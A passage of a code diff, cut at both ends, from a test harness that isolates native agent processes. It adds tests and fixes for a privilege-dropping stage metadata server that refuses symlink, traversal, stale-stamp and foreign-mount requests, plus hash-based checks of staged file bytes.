str(value.st_ino),f'{value.st_ino}:{value.st_size}:{value.st_mtime_ns}:{value.st_ctime_ns}' +class MetadataChannel(unittest.TestCase): + def setUp(self): + if os.geteuid()!=0:raise RuntimeError('root native proof required') + self.directory=tempfile.TemporaryDirectory(prefix='odysseus-metadata-proof-') + self.root=pathlib.Path(self.directory.name);self.stage=self.root/'stage';self.stage.mkdir() + (self.stage/'loom').write_text('Ithaca\n');(self.stage/'link').symlink_to('loom') + self.keeper=subprocess.Popen(['/bin/sleep','60']) + pid=self.keeper.pid;value=os.stat(self.stage) + start=pathlib.Path(f'/proc/{pid}/stat').read_text().rsplit(') ',1)[1].split()[19] + config=dict(socket=str(self.root/'channel'),id='00000000-0000-4000-8000-000000000000',pid=pid,start=start,namespace=str(os.stat(f'/proc/{pid}/ns/mnt').st_ino),root=str(self.stage),dev=str(value.st_dev),ino=str(value.st_ino),appUid=0,gid=0,workerUid=0) + self.server=subprocess.Popen(['/usr/bin/python3','-I','-S',str(PROGRAM),json.dumps(config)],stdout=subprocess.PIPE,stderr=subprocess.PIPE) + if not select.select([self.server.stdout],[],[],10)[0]:raise RuntimeError('channel readiness watchdog') + self.assertEqual(json.loads(self.server.stdout.readline()),{'ready':True}) + self.peer=socket.socket(socket.AF_UNIX);self.peer.settimeout(10);self.peer.connect(config['socket']);self.input=self.peer.makefile('rb') + self.hello=json.loads(self.input.readline());self.assertEqual(self.hello['pid'],pid) + def tearDown(self): + self.input.close();self.peer.close();self.server.terminate();self.server.communicate(timeout=10);self.keeper.terminate();self.keeper.wait(timeout=10);self.directory.cleanup() + def request(self,path,inode=None,expected=None): + if inode is None:inode,expected=stamp(self.stage/path) + self.peer.sendall((json.dumps(dict(path=path,inode=inode,stamp=expected))+'\n').encode()) + return json.loads(self.input.readline()) + def refused_then_valid(self,path,inode='1',expected='invalid'): + self.assertEqual(self.request(path,inode,expected),{'error':'stage metadata request refused'}) + self.assertEqual(self.request('loom')['kind'],'file','REJECTED_REQUEST_DOES_NOT_POISON_NEXT_REQUEST') + def test_final_link_is_not_followed(self): + value=self.request('link');inode,expected=stamp(self.stage/'link') + self.assertEqual(value['kind'],'symlink','FINAL_LINK_METADATA_DOES_NOT_FOLLOW_TARGET') + self.assertEqual(value['ino'],inode);self.assertEqual(value['stamp'],expected) + self.assertEqual(value['worker']['ino'],inode);self.assertEqual(value['worker']['errno'],40) + def test_intermediate_link_refuses_without_poisoning(self): + (self.stage/'directory').mkdir();(self.stage/'alias').symlink_to('directory') + self.refused_then_valid('alias/loom') + def test_outside_path_refuses_without_poisoning(self):self.refused_then_valid('../outside') + def test_stale_stamp_refuses_without_poisoning(self):self.refused_then_valid('loom') + def test_swapped_link_refuses_without_poisoning(self): + inode,expected=stamp(self.stage/'link');(self.stage/'link').unlink();(self.stage/'link').symlink_to('other') + self.refused_then_valid('link',inode,expected) + def test_schema_refuses_without_poisoning(self): + self.peer.sendall(b'{"path":"loom"}\n');self.assertEqual(json.loads(self.input.readline()),{'error':'stage metadata request refused'}) + self.assertEqual(self.request('loom')['kind'],'file') + def test_foreign_mount_refuses_without_poisoning(self): + target=self.stage/'foreign';target.mkdir() + subprocess.run(['/bin/mount','-t','tmpfs','tmpfs',str(target)],check=True,capture_output=True) + try: + inode,expected=stamp(target);self.refused_then_valid('foreign',inode,expected) + finally:subprocess.run(['/bin/umount',str(target)],check=True,capture_output=True) + def test_replaced_root_expires_channel(self): + self.stage.rename(self.root/'retired');self.stage.mkdir() + self.assertEqual(self.input.readline(),b'') + def test_expired_keeper_closes_channel(self): + self.keeper.terminate();self.keeper.wait(timeout=10) + self.assertEqual(self.input.readline(),b'') +if __name__=='__main__':unittest.main() diff --git a/scripts/native-stage-metadata-channel.py b/scripts/native-stage-metadata-channel.py index fb534d6734..a3b5e880ee 100644 --- a/scripts/native-stage-metadata-channel.py +++ b/scripts/native-stage-metadata-channel.py @@ -23,7 +23,12 @@ def keeper_namespace(): if not value.isdigit():raise RuntimeError('keeper namespace unavailable') return value.decode() def live(): - return start(config['pid'])==config['start'] and keeper_namespace()==config['namespace'] and (not config.get('readerPid') or start(config['readerPid'])==config['readerStart'] and str(os.stat('/proc/'+str(config['readerPid'])+'/ns/mnt').st_ino)==config['readerNamespace']) + if not (start(config['pid'])==config['start'] and keeper_namespace()==config['namespace'] and (not config.get('readerPid') or start(config['readerPid'])==config['readerStart'] and str(os.stat('/proc/'+str(config['readerPid'])+'/ns/mnt').st_ino)==config['readerNamespace'])):return False + current=os.open('/proc/'+str(config.get('readerPid',config['pid']))+'/root'+config['root'],os.O_PATH|os.O_DIRECTORY|os.O_NOFOLLOW) + try: + value=os.fstat(current) + return str(value.st_dev)==config['dev'] and str(value.st_ino)==config['ino'] and mount(current)==root_mount + finally:os.close(current) root=os.open('/proc/'+str(config.get('readerPid',config['pid']))+'/root'+config['root'],os.O_PATH|os.O_DIRECTORY) info=os.fstat(root);root_mount=mount(root) if str(info.st_dev)!=config['dev'] or str(info.st_ino)!=config['ino'] or not live():raise RuntimeError('stage identity changed') @@ -55,7 +60,7 @@ def node(path): fd=os.dup(root) if path=='' else os.open(names[-1],os.O_PATH|os.O_NOFOLLOW,dir_fd=parent) try: value=os.fstat(fd);mount_id=mount(fd) - kind='file' if stat.S_ISREG(value.st_mode) else 'directory' if stat.S_ISDIR(value.st_mode) else 'other' + kind='file' if stat.S_ISREG(value.st_mode) else 'directory' if stat.S_ISDIR(value.st_mode) else 'symlink' if stat.S_ISLNK(value.st_mode) else 'other' if mount_id!=root_mount or kind=='other':raise RuntimeError('foreign mount or unsupported node') result=dict(nlink=str(value.st_nlink),uid=value.st_uid,gid=value.st_gid,mode=stat.S_IMODE(value.st_mode),dev=str(value.st_dev),ino=str(value.st_ino),mountId=mount_id,rootMountId=root_mount,stamp=f'{value.st_ino}:{value.st_size}:{value.st_mtime_ns}:{value.st_ctime_ns}',kind=kind) finally:os.close(fd) @@ -71,42 +76,48 @@ def node(path): if len(pending)>4096:raise RuntimeError('request bound') if b'\n' not in pending:continue if pending.count(b'\n')!=1 or not pending.endswith(b'\n'):raise RuntimeError('one request required') - request=json.loads(pending);pending=b'' - if sorted(request)!=['inode','path','stamp'] or not all(isinstance(v,str) for v in request.values()):raise RuntimeError('request schema') - before,parent,name=node(request['path']);os.close(parent) - if before['stamp']!=request['stamp'] or before['ino']!=request['inode']:raise RuntimeError('reader node changed') - read,write=os.pipe();child=os.fork() - if not child: - try: - os.close(read);peer.close();os.close(keeper) - owner=os.getppid() - if libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError("metadata parent expired") - os.setgroups([config['gid']]);os.setgid(config['gid']);os.setuid(config['workerUid']) - if libc.prctl(38,1,0,0,0) or libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError('worker privilege drop') - value,parent,name=node(request['path']);errno=0 + try: + request=json.loads(pending);pending=b'' + if sorted(request)!=['inode','path','stamp'] or not all(isinstance(v,str) for v in request.values()):raise RuntimeError('request schema') + before,parent,name=node(request['path']);os.close(parent) + if before['stamp']!=request['stamp'] or before['ino']!=request['inode']:raise RuntimeError('reader node changed') + read,write=os.pipe();child=os.fork() + if not child: try: - fd=os.open(name,os.O_RDONLY|os.O_NONBLOCK|os.O_NOFOLLOW|(os.O_DIRECTORY if value['kind']=='directory' else 0),dir_fd=parent);os.close(fd) - except OSError as error:errno=error.errno - finally:os.close(parent) - again,parent,name=node(request['path']);os.close(parent) - if again!=value:raise RuntimeError('worker node changed') - payload=dict(value,errno=errno,readerUid=os.geteuid(),readerGids=sorted(set([os.getegid(),*os.getgroups()]))) - os.write(write,json.dumps(payload,separators=(',',':')).encode()) - except:pass - os._exit(0) - os.close(write);output=b'' - while True: - data=os.read(read,4096) - if not data:break - output+=data - if len(output)>4096:raise RuntimeError('reply bound') - os.close(read);_,status=os.waitpid(child,0) - worker=json.loads(output) - after,parent,name=node(request['path']);os.close(parent) - if before!=after or not live():raise RuntimeError('root node changed') - for key,value in before.items(): - if worker.get(key)!=value:raise RuntimeError('worker/root node mismatch') - peer.sendall((json.dumps(dict(before,worker=worker),separators=(',',':'))+'\n').encode()) + os.close(read);peer.close();os.close(keeper) + owner=os.getppid() + if libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError("metadata parent expired") + os.setgroups([config['gid']]);os.setgid(config['gid']);os.setuid(config['workerUid']) + if libc.prctl(38,1,0,0,0) or libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError('worker privilege drop') + value,parent,name=node(request['path']);errno=0 + try: + fd=os.open(name,os.O_RDONLY|os.O_NONBLOCK|os.O_NOFOLLOW|(os.O_DIRECTORY if value['kind']=='directory' else 0),dir_fd=parent);os.close(fd) + except OSError as error:errno=error.errno + finally:os.close(parent) + again,parent,name=node(request['path']);os.close(parent) + if again!=value:raise RuntimeError('worker node changed') + payload=dict(value,errno=errno,readerUid=os.geteuid(),readerGids=sorted(set([os.getegid(),*os.getgroups()]))) + os.write(write,json.dumps(payload,separators=(',',':')).encode()) + except:pass + os._exit(0) + os.close(write);output=b'' + while True: + data=os.read(read,4096) + if not data:break + output+=data + if len(output)>4096:raise RuntimeError('reply bound') + os.close(read);_,status=os.waitpid(child,0) + worker=json.loads(output) + after,parent,name=node(request['path']);os.close(parent) + if before!=after or not live():raise RuntimeError('root node changed') + for key,value in before.items(): + if worker.get(key)!=value:raise RuntimeError('worker/root node mismatch') + peer.sendall((json.dumps(dict(before,worker=worker),separators=(',',':'))+'\n').encode()) + except Exception: + pending=b'' + if not live() or start(pid)!=peer_start:raise RuntimeError('owned identity expired') + peer.sendall(b'{"error":"stage metadata request refused"}\n') + finally: if bound:os.unlink(config['socket']) if peer:peer.close() diff --git a/scripts/native-stage-metadata-channel.ts b/scripts/native-stage-metadata-channel.ts index c6e293485d..dde9f19d09 100644 --- a/scripts/native-stage-metadata-channel.ts +++ b/scripts/native-stage-metadata-channel.ts @@ -21,7 +21,7 @@ export async function connectNativeStageMetadata(socket:string,expected:{id:stri return {matches(value:typeof expected){return !closed&&value.id===expected.id&&value.keeper.pid===expected.keeper.pid&&value.keeper.start===expected.keeper.start&&value.keeper.mountNamespaceInode===expected.keeper.mountNamespaceInode&&value.root.dev===expected.root.dev&&value.root.ino===expected.root.ino;},identity:{dev:String(info.dev),ino:String(info.ino)},inspect(path:string,stamp:string,inode:string):OpaqueStageEvidence{ if(closed)throw Error("Stage metadata channel expired"); const request=Buffer.from(JSON.stringify({path,stamp,inode})+"\n");if(request.length>4096||writeSync(fd,request)!==request.length)throw Error("Stage metadata transfer failed"); - return line() as OpaqueStageEvidence; + const reply=line();if(reply?.error!==undefined){if(Object.keys(reply).join(",")!=="error"||reply.error!=="stage metadata request refused")throw Error("Stage metadata schema mismatch");throw Error("Stage metadata request refused");}return reply as OpaqueStageEvidence; },close(){if(!closed){closed=true;connection.destroy();}}}; }catch(error){connection.destroy();throw error;} } diff --git a/scripts/native-stage-metadata-check.ts b/scripts/native-stage-metadata-check.ts index ce6fcb1ee0..262fb9569a 100644 --- a/scripts/native-stage-metadata-check.ts +++ b/scripts/native-stage-metadata-check.ts @@ -1,11 +1,13 @@ /** Fixed test-only client of the existing private stage metadata capability. */ +import {createHash} from "node:crypto"; import {createNativeBrainManagerClient} from "../packages/ui-sdk/src/server/native-brain-manager-client"; try{ - const input=JSON.parse(await Bun.stdin.text()) as {options:Parameters[0];id:string;uid:number;entries:[string,string][];opaque?:{path:string;kind:string;stamp:string}[]}; + const input=JSON.parse(await Bun.stdin.text()) as {options:Parameters[0];id:string;uid:number;entries:[string,string][];hashes?:[string,string][];links?:[string,string][];opaque?:{path:string;kind:string;stamp:string}[]}; if(!Array.isArray(input.entries)||input.entries.length>200000)throw Error("Invalid inspection bound"); const expected=new Map(input.entries.filter(([path])=>path!=="")),seen=new Set(); if(expected.size!==input.entries.length-1)throw Error("Invalid inspection inventory"); const manager=createNativeBrainManagerClient(input.options); + const hashes=new Map(input.hashes??[]),links=new Map(input.links??[]); const opaque=new Map((input.opaque??[]).map(node=>[node.path,node])); let failure:unknown,failed=false;const cancellations=new Set<()=>Promise>();const fail=(error:unknown)=>{if(!failed){failed=true;failure=error;}for(const cancel of cancellations)void cancel().catch(()=>{});};const queue:(()=>Promise)[]=[],pending=new Set>(); const walk=async(path:string,depth:number):Promise=>{ @@ -19,6 +21,15 @@ try{ try{if(node.kind==="directory")await manager.listStage(input.id,row.path,input.uid);else{const copy=await manager.readStage(input.id,row.path,Math.max(1,row.bytes),input.uid),reader=copy.stream.getReader(),cancel=()=>reader.cancel();cancellations.add(cancel);try{if(failed)throw failure;for(;;){const part=await reader.read();if(failed)throw failure;if(part.done)break;}await copy.completed;}finally{await cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);}}}catch(error){if((error as NodeJS.ErrnoException).code!=="EACCES")throw error;denied=true;} if(!denied)throw Error("Opaque node became accessible"); }else if(row.kind==="directory")await walk(row.path,depth+1); + else if(row.kind==="symlink"){if(links.get(row.path)!==row.target)throw Error("Stage symlink changed");} + else if(row.kind==="file"){ + const digest=hashes.get(row.path);if(!digest)throw Error("Missing inspected byte identity"); + const copy=await manager.readStage(input.id,row.path,Math.max(1,row.bytes),input.uid),reader=copy.stream.getReader(),cancel=()=>reader.cancel();cancellations.add(cancel); + try{const hash=createHash("sha256");let bytes=0;for(;;){if(failed)throw failure;const part=await reader.read();if(part.done)break;bytes+=part.value.byteLength;if(bytes>row.bytes)throw Error("Stage file grew");hash.update(part.value);} + const receipt=await copy.completed,after=await manager.statStage(input.id,row.path,input.uid); + if(bytes!==row.bytes||receipt.bytes!==bytes||copy.workerUid!==input.uid||receipt.workerUid!==input.uid||hash.digest("hex")!==digest||after?.stamp!==row.stamp)throw Error("Stage bytes changed"); + }finally{await cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);} + } }); } }; diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index 20ffc36405..deb4e02bd9 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -97,15 +97,18 @@ export function flushNativeReceipts():void { if(state.pending.length>1048576)throw Error("Native receipt exceeded its bound"); } } -export function nativeReceipt(value:Record):void { - if(value.kind==="native-guard-interval"){ +function verifyGuardTimingReceipt(value:Record):void { + const issuer=(value as Record)[Symbol.for("brain-kit.test.guard-timing-issuer")]; const expected=new URL("./test-native-guard.ts",import.meta.url);let url:URL; try{url=new URL(String(issuer));}catch{throw Error("Unowned native guard timing interval refused");} if(url.protocol!==expected.protocol||url.pathname!==expected.pathname||url.hash||url.search&&!/^\?[A-Za-z0-9_.=-]+$/.test(url.search))throw Error("Unowned native guard timing interval refused"); const guard=createRequire(import.meta.url)(url.href) as {isNativeGuardTimingReceipt(value:object):boolean}; if(!guard.isNativeGuardTimingReceipt(value))throw Error("Unowned native guard timing interval refused"); - } + +} +export function nativeReceipt(value:Record):void { + if(value.kind==="native-guard-interval")verifyGuardTimingReceipt(value); const sink=owner();if(!sink){ // Lost delivery cannot turn a boundary refusal into a successful local run. if(value.success===false){writeReceipt(2,JSON.stringify(value)+"\n");if(["native-offline-boundary","native-offline-invocation-failed","native-offline-route-denial"].includes(String(value.kind))){process.exitCode=1;process.prependOnceListener("exit",()=>{process.exitCode=1;});}} @@ -163,9 +166,9 @@ export function inheritNativeReceipts(options:Record,argv:readonly s } return {options:{...rest,stdio,env:{...(options.env??process.env),[KEY]:token}},argv:command}; } -export function captureNativeReceipts():{env:Record;read():string;dispose():void} { +export function captureNativeReceipts():{env:Record;read():string;recordGuardTiming(value:Record):void;dispose():void} { const {sink,directory,file}=createSink(false);let closed=false; - return {env:{[KEY]:JSON.stringify(sink)},read(){if(!same(sink))throw Error("Native receipt capture changed");return readFileSync(file,"utf8");},dispose(){if(closed)return;closed=true;closeSync(sink.fd);rmSync(directory,{recursive:true,force:true});}}; + return {env:{[KEY]:JSON.stringify(sink)},recordGuardTiming(value){if(closed||!same(sink))throw Error("Native receipt capture changed");if(value.kind!=="native-guard-interval")throw Error("Unowned native guard timing interval refused");verifyGuardTimingReceipt(value);writeReceipt(sink.fd,JSON.stringify(value)+"\n");},read(){if(!same(sink))throw Error("Native receipt capture changed");return readFileSync(file,"utf8");},dispose(){if(closed)return;closed=true;closeSync(sink.fd);rmSync(directory,{recursive:true,force:true});}}; } export function withoutNativeReceipts(options:Record):Record&{env:Record}{ const env={...(options.env??process.env)}; diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 78b96ae580..bee7217efe 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -6,7 +6,7 @@ import {registerNativeTitleCollector,prepareNativeTitleCollector} from "./native import {pinNativeWorkerExecutable} from "./native-runtime-pin"; import { nativeExecTrace } from "./native-exec-trace"; import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages, nativeSeparateUidAuditCommand } from "./native-device-diagnostics"; -import { nativeReceipt,nativeKernelIdentity } from "./native-test-receipts.ts"; +import { captureNativeReceipts,nativeReceipt,nativeKernelIdentity } from "./native-test-receipts.ts"; import {watchdogMs} from "./test-deadlines"; import type {createNativeBrainManagerClient} from "../packages/ui-sdk/src/server/native-brain-manager-client"; /** Test-only OS boundary for installed native Claude processes (#4313). */ @@ -24,12 +24,15 @@ import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; // callbacks and receipt consumers cannot mint an interval or wrap product work. const guardTimingOperations=new Set(["classification","qualification","stage-inspection","stage-freshness","plan-inspection","mask-setup","launch-validation","executable-transfer"]); type GuardTimingInterval={kind:"native-guard-interval";operation:string;pid:number;startMs:number;endMs:number;clock:"performance.now"}; -const guardTimingIntervals:GuardTimingInterval[]=[],guardTimingReceipts=new WeakSet(); +const guardTimingReceipts=new WeakSet(); +const guardTimingWindows=new Set<{startMs:number;rows:GuardTimingInterval[];channel:ReturnType}>(); function recordGuardTiming(operation:string,startMs:number):void { if(!guardTimingOperations.has(operation))throw Error("Unlisted native guard timing operation"); + if(!guardTimingWindows.size)return; const interval:GuardTimingInterval={kind:"native-guard-interval",operation,pid:process.pid,startMs,endMs:performance.now(),clock:"performance.now"}; Object.defineProperty(interval,Symbol.for("brain-kit.test.guard-timing-issuer"),{value:import.meta.url});Object.freeze(interval); - guardTimingIntervals.push(interval);guardTimingReceipts.add(interval);nativeReceipt(interval); + guardTimingReceipts.add(interval); + for(const window of guardTimingWindows)if(interval.endMs>window.startMs){window.rows.push(interval);window.channel.recordGuardTiming(interval);} } const guardTimingContext=new AsyncLocalStorage<{active:boolean}>(); function guardTiming(operation:string,run:()=>T):T { @@ -43,7 +46,7 @@ async function guardTimingAsync(operation:string,run:()=>Promise):Promise< /** Read-only verifier: possession of a parsed or copied receipt grants nothing. */ export function isNativeGuardTimingReceipt(value:object):boolean{return guardTimingReceipts.has(value);} /** Union only genuine guard intervals, clipped to the measured product window. */ -export function nativeFixtureGuardTiming(startMs:number,endMs:number):{pid:number;windowStartMs:number;windowEndMs:number;rawMs:number;guardMs:number;productMs:number;intervals:readonly {startMs:number;endMs:number}[]} { +function nativeFixtureGuardTiming(guardTimingIntervals:readonly GuardTimingInterval[],startMs:number,endMs:number):{pid:number;windowStartMs:number;windowEndMs:number;rawMs:number;guardMs:number;productMs:number;intervals:readonly {startMs:number;endMs:number}[]} { if(!Number.isFinite(startMs)||!Number.isFinite(endMs)||startMs<0||endMsperformance.now())throw Error("Invalid native acknowledgement timing window"); const spans=guardTimingIntervals.filter(row=>row.pid===process.pid&&row.endMs>startMs&&row.startMs({startMs:Math.max(startMs,row.startMs),endMs:Math.min(endMs,row.endMs)})).sort((a,b)=>a.startMs-b.startMs); const union:{startMs:number;endMs:number}[]=[]; @@ -51,6 +54,13 @@ export function nativeFixtureGuardTiming(startMs:number,endMs:number):{pid:numbe const guardMs=union.reduce((sum,row)=>sum+row.endMs-row.startMs,0),rawMs=endMs-startMs; return Object.freeze({pid:process.pid,windowStartMs:startMs,windowEndMs:endMs,rawMs,guardMs,productMs:rawMs-guardMs,intervals:Object.freeze(union.map(row=>Object.freeze(row)))}); } +/** Explicit private measurement channel; no intervals are emitted outside a live window. */ +export function nativeFixtureGuardTimingWindow(){ + const window={startMs:performance.now(),rows:[] as GuardTimingInterval[],channel:captureNativeReceipts()};let closed=false; + guardTimingWindows.add(window); + const dispose=()=>{if(closed)return;closed=true;guardTimingWindows.delete(window);window.channel.dispose();}; + return {startMs:window.startMs,close(){if(closed)throw Error("Native timing window is closed");const endMs=performance.now();guardTimingWindows.delete(window);try{return {...nativeFixtureGuardTiming(window.rows,window.startMs,endMs),receipts:window.channel.read().trim().split("\n").filter(Boolean).map(line=>JSON.parse(line) as GuardTimingInterval)};}finally{dispose();}},dispose}; +} const ROOT = resolve(import.meta.dir, ".."); // Fixture TMPDIR lifetimes do not own the guard's retained tripwire evidence. const GUARD_TMPDIR = tmpdir(); @@ -193,7 +203,8 @@ function fixturePathKey(path:string):string { } function fixtureDescriptorHash(fd:number):{key:string;hash:string} { const key=fixtureDescriptorKey(fd),cached=hashes.get(key); - if(cached!==undefined){if(fixtureDescriptorKey(fd)!==key)throw Error("Fixture file changed");reusedFileFindings++;return {key,hash:cached};} + // Metadata keys may be reused; mutable bytes are always read again. + if(cached!==undefined)reusedFileFindings++; const chunk=Buffer.alloc(1024*1024),hash=createHash("sha256");let position=0; for(;;){const count=readSync(fd,chunk,0,chunk.length,position);if(!count)break;hash.update(chunk.subarray(0,count));position+=count;} if(fixtureDescriptorKey(fd)!==key)throw Error("Fixture file changed during inspection"); @@ -1473,7 +1484,7 @@ function removeFixtureSnapshot(snapshot:string):void { } function clearOpaqueSnapshot(snapshot:string){ for(const path of opaqueStageSnapshots.keys())if(within(snapshot,path))opaqueStageSnapshots.delete(path); - for(const [path,owners] of inPlaceFixtureFiles){owners.delete(snapshot);if(!owners.size)inPlaceFixtureFiles.delete(path);} + for(const [path,owners] of inPlaceFixtureFiles){const finding=owners.get(snapshot);if(finding?.fd!==undefined)closeSync(finding.fd);owners.delete(snapshot);if(!owners.size)inPlaceFixtureFiles.delete(path);} } // A walk is synchronous: no result survives an await or an execution boundary. let fixtureValidationWalk:Set<()=>boolean>|undefined; @@ -1494,10 +1505,10 @@ async function stageCaptureSlot():Promise<()=>void>{ else stageCaptureSlots++; return ()=>{const next=stageCaptureWaiters.shift();if(next)next();else stageCaptureSlots--;}; } +const stageEntryLinks=new WeakMap,ReadonlyMap>(); +const stageEntryHashes=new WeakMap,ReadonlyMap>(); const stageEntryKeys=new WeakMap,ReadonlyMap>(); -const stageReadableKeys=new Set(); -const stageFileBytes=new Map();let stageFileBytesSize=0; -const inPlaceFixtureFiles=new Map>(); +const inPlaceFixtureFiles=new Map>(); function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number;bytes:number;inode:string},reader:StageReaderIdentity):string { const path=join(reader.root,row.path); try{ @@ -1505,30 +1516,31 @@ function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number; try{const info=fstatSync(fd,{bigint:true});if(`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`!==row.stamp||(Number(info.mode)&0o7777)!==row.mode||String(info.ino)!==row.inode)throw Error("Stage entry changed");return fixtureDescriptorKey(fd);}finally{closeSync(fd);} }catch(error){ if((error as NodeJS.ErrnoException).code!=="EACCES"||!reader.inspect)throw error; - const evidence=reader.inspect(row.path,row.stamp,row.inode);verifyStageMetadataEvidence(evidence,reader,row.kind,row.stamp,[0,13]); + const evidence=reader.inspect(row.path,row.stamp,row.inode);verifyStageMetadataEvidence(evidence,reader,row.kind,row.stamp,row.kind==="symlink"?[0,13,40]:[0,13]); if(evidence.mode!==row.mode)throw Error("Stage mode changed"); - const [ino,size,mtime,ctime]=row.stamp.split(":"),kind=row.kind==="file"?0o100000:row.kind==="directory"?0o040000:undefined; + const [ino,size,mtime,ctime]=row.stamp.split(":"),kind=row.kind==="file"?0o100000:row.kind==="directory"?0o040000:row.kind==="symlink"?0o120000:undefined; if(kind===undefined||size!==String(row.bytes))throw Error("Unproven stage entry key"); return [evidence.dev,ino,size,mtime,ctime,kind|evidence.mode,evidence.uid,evidence.gid,evidence.nlink,evidence.mountId].join(":"); } } +function recheckMutableFixtureFinding(finding:{key:string;path:string;hash:string;fd?:number}):boolean { + if(fixturePathKey(finding.path)!==finding.key)return false; + if(finding.fd===undefined)return fileHash(finding.path)===finding.hash; + return fixtureDescriptorKey(finding.fd)===finding.key&&fixtureDescriptorHash(finding.fd).hash===finding.hash&&fixturePathKey(finding.path)===finding.key; +} function keeperCheckedFile(path:string,keeper:KeeperInspection|undefined):boolean { - if(!keeper?.managed)return false;const finding=inPlaceFixtureFiles.get(path)?.get(keeper.snapshot);return finding!==undefined&&fixturePathKey(finding.path)===finding.key; + if(!keeper?.managed)return false;const finding=inPlaceFixtureFiles.get(path)?.get(keeper.snapshot);return finding!==undefined&&recheckMutableFixtureFinding(finding); } /** Canonical names prove containment; reads stay on the pinned reachable view. */ function inspectionAccessPath(path:string,keeper:KeeperInspection|undefined):string { const real=realpathSync(path); if(keeper?.ordinary){for(const root of keeper.bindSources.values())if(within(root,path)&&within(realpathSync(root),real))return path;} const finding=keeper?.managed?inPlaceFixtureFiles.get(real)?.get(keeper.snapshot):undefined; - if(finding){if(fixturePathKey(finding.path)!==finding.key)throw Error("In-place fixture entry changed");return finding.path;} + if(finding){if(!recheckMutableFixtureFinding(finding))throw Error("In-place fixture entry changed");return finding.path;} return real; } -function rememberStageBytes(key:string,bytes:Buffer):void { - if(bytes.length>16*1024**2)return; - if(!stageFileBytes.has(key)){stageFileBytes.set(key,bytes);stageFileBytesSize+=bytes.length;} - while(stageFileBytesSize>64*1024**2){const first=stageFileBytes.keys().next().value!;stageFileBytesSize-=stageFileBytes.get(first)!.length;stageFileBytes.delete(first);} -} + const stageOpaqueNodes=new WeakMap,OpaqueStageNode[]>(); export async function captureNativeFixtureStage(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string,reader?:StageReaderIdentity):Promise> { const inspect=()=>captureNativeFixtureStageInspected(manager,id,uid,maximum,snapshot,reader); @@ -1540,7 +1552,7 @@ async function captureNativeFixtureStageInspected(manager:Pick{if(failed)throw failure;}; const fail=(error:unknown)=>{if(!failed){failed=true;failure=error;for(const cancel of cancellations)void cancel().catch(()=>{});}}; const pump=()=>{while(!failed&&queue.length&&pending.size<3){const job=queue.shift()!;let task:Promise;task=Promise.resolve().then(async()=>{const release=await stageCaptureSlot();try{check();await job();}finally{release();}}).catch(fail).finally(()=>pending.delete(task));pending.add(task);}}; - const keys=new Map(),stamps=new Map(),opaque:OpaqueStageNode[]=[],directories:{path:string;kind:string;mode:number;stamp:string;bytes:number;inode:string}[]=[]; + const links=new Map(),keys=new Map(),stamps=new Map(),opaque:OpaqueStageNode[]=[],directories:{path:string;kind:string;mode:number;stamp:string;bytes:number;inode:string}[]=[]; const markOpaque=(row:{path:string;kind:string;stamp:string;mode:number},error:unknown):boolean=>{ if(!reader||(error as NodeJS.ErrnoException).code!=="EACCES"||!["file","directory"].includes(row.kind))return false; if(row.kind==="file"&&(row.mode&0o111)&&/^(?:\.git\/hooks\/|\.brain-maintenance-git-[0-9a-f-]+\/)/.test(row.path))throw Error("Uninspectable prepared executable"); @@ -1564,37 +1576,31 @@ async function captureNativeFixtureStageInspected(manager:Pick{ if(!source||!entryKey)return false; let fd:number|undefined; try{fd=openSync(source,constants.O_RDONLY|constants.O_NOFOLLOW|constants.O_NONBLOCK); - if(fixtureDescriptorKey(fd)!==entryKey)throw Error("Stage entry changed");fixtureDescriptorHash(fd); + if(fixtureDescriptorKey(fd)!==entryKey)throw Error("Stage entry changed");const finding=fixtureDescriptorHash(fd); + if(inspectedBytes&&createHash("sha256").update(inspectedBytes).digest("hex")!==finding.hash)throw Error("Stage reader bytes changed"); if(stageMetadataKey(row,reader!)!==entryKey)throw Error("Stage entry changed"); - symlinkSync(source,target);const real=realpathSync(source),owners=inPlaceFixtureFiles.get(real)??new Map();owners.set(snapshot,{key:entryKey,path:source});inPlaceFixtureFiles.set(real,owners);inPlaceFiles++;return true; + symlinkSync(source,target);const real=realpathSync(source),owners=inPlaceFixtureFiles.get(real)??new Map();const retained=fixtureManagerPin(manager as object)?fd:undefined;owners.set(snapshot,{key:entryKey,path:source,hash:finding.hash,fd:retained});if(retained!==undefined)fd=undefined;inPlaceFixtureFiles.set(real,owners);inPlaceFiles++;return true; }catch(error){if((error as NodeJS.ErrnoException).code!=="EACCES")throw error;return false;}finally{if(fd!==undefined)closeSync(fd);} }; - // Reuse byte findings only for the same real worker UID/GIDs and full key. - // A first read still goes through the unchanged production private reader. - const cached=readFindingKey?stageFileBytes.get(readFindingKey):undefined; - if(readFindingKey&&stageReadableKeys.has(readFindingKey)&&useInPlace()){/* No inspection copy. */} - else if(cached){if(reader&&stageMetadataKey(row,reader)!==entryKey)throw Error("Stage entry changed");writeFileSync(target,cached,{mode:row.mode,flag:"wx"});copiedFiles++;reusedPrivateFiles++;} - else { + { let copy:Awaited>;try{copy=await manager.readStage(id,row.path,Math.max(1,row.bytes),uid);}catch(error){if(markOpaque(row,error)){const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed");return;}throw error;}const reader=copy.stream.getReader(),pieces:Uint8Array[]=[];let bytes=0;const cancel=()=>reader.cancel();cancellations.add(cancel);activeReaders++;peakReaders=Math.max(peakReaders,activeReaders); try{check();for(;;){const part=await 